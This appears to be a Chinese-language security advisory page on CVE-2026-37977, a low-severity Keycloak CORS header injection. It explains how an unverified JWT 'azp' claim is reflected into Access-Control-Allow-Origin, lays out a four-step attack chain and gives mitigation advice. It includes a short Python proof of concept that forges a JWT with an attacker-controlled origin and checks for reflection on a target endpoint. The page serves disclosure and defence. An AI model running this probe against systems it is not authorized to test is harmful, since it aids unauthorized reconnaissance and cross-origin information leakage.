IPBUF安全漏洞报告
English
CVE-2026-37977 CVSS 3.7 低危

CVE-2026-37977 Keycloak CORS头注入漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-37977
漏洞类型
CORS头注入
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

CORSKeycloakHeader InjectionInformation DisclosureWeb Security

漏洞概述

Keycloak的User-Managed Access (UMA) token endpoint存在CORS头注入漏洞。由于系统在验证JWT签名前,直接使用客户端提供的JWT中的`azp`声明来设置`Access-Control-Allow-Origin`响应头,攻击者可利用此特性反射受控的CORS源。尽管后续授权可能失败,但这仍可能导致授权服务器错误响应中的低敏感信息泄露,削弱源隔离。该漏洞仅在目标客户端被错误配置为`webOrigins: ["*"]`时才可被利用。

技术细节

该漏洞的核心在于验证逻辑的时序问题。Keycloak在处理UMA token请求时,未先验证JWT签名的有效性,而是直接解析JWT载荷中的`azp` (Authorized Party) 字段,并将其值直接赋值给HTTP响应头`Access-Control-Allow-Origin`。攻击者可以构造一个包含恶意`azp`值(如`https://evil.com`)的JWT并发送给目标端点。即使该JWT的签名无效或授权被后续流程拒绝,服务器在初步处理时已经将包含恶意源的CORS头返回给客户端。此时,如果受害者的Keycloak客户端错误配置了`webOrigins: ["*"]`,浏览器将不会阻止跨域请求,允许攻击者的脚本读取服务器返回的错误详情。这可能导致内部路径信息或调试信息的泄露,削弱了浏览器的同源策略保护机制。

攻击链分析

STEP 1
侦察
攻击者识别出配置了`webOrigins: ["*"]`的Keycloak客户端,这是漏洞利用的必要条件。
STEP 2
构造载荷
攻击者创建一个特制的JWT,将`azp`声明设置为恶意控制的域名(如evil.com)。
STEP 3
发送请求
攻击者将包含恶意`azp`值的JWT发送到Keycloak的UMA token endpoint。
STEP 4
利用漏洞
Keycloak在验证JWT签名之前,根据`azp`值设置`Access-Control-Allow-Origin`头,导致浏览器允许跨域读取错误响应信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import jwt # Conceptual PoC for CVE-2026-37977 # Target URL (Keycloak UMA token endpoint) target_url = "https://target-keycloak.com/realms/master/protocol/openid-connect/token" # Attacker controlled domain malicious_origin = "https://attacker.com" # Create a fake JWT payload with 'azp' set to attacker's domain # The vulnerability allows reflecting this value before signature validation payload = { "azp": malicious_origin, "sub": "user", "exp": 9999999999 } # Encode a token (signing algorithm does not matter for this PoC concept) token = jwt.encode(payload, "secret", algorithm="HS256") # Send request to the endpoint data = { "grant_type": "urn:ietf:params:oauth:grant-type:uma-ticket", "request_token": token } response = requests.post(target_url, data=data) print(f"Status Code: {response.status_code}") # Check if the Access-Control-Allow-Origin header reflects the malicious origin if "Access-Control-Allow-Origin" in response.headers: if response.headers["Access-Control-Allow-Origin"] == malicious_origin: print("[+] Vulnerability Confirmed: CORS header reflected!") print(f"[+] Header: {response.headers['Access-Control-Allow-Origin']}") else: print("[-] CORS header not reflected as expected.") else: print("[-] No CORS header found.")

影响范围

Keycloak (具体受影响版本请参考官方安全通告)

防御指南

临时缓解措施
建议立即审查Keycloak客户端配置,确保未将`webOrigins`设置为通配符`*`。通过限制允许的源列表为受信任的特定域名,可以有效缓解此CORS头注入风险,防止攻击者利用未经验证的JWT声明进行跨域攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表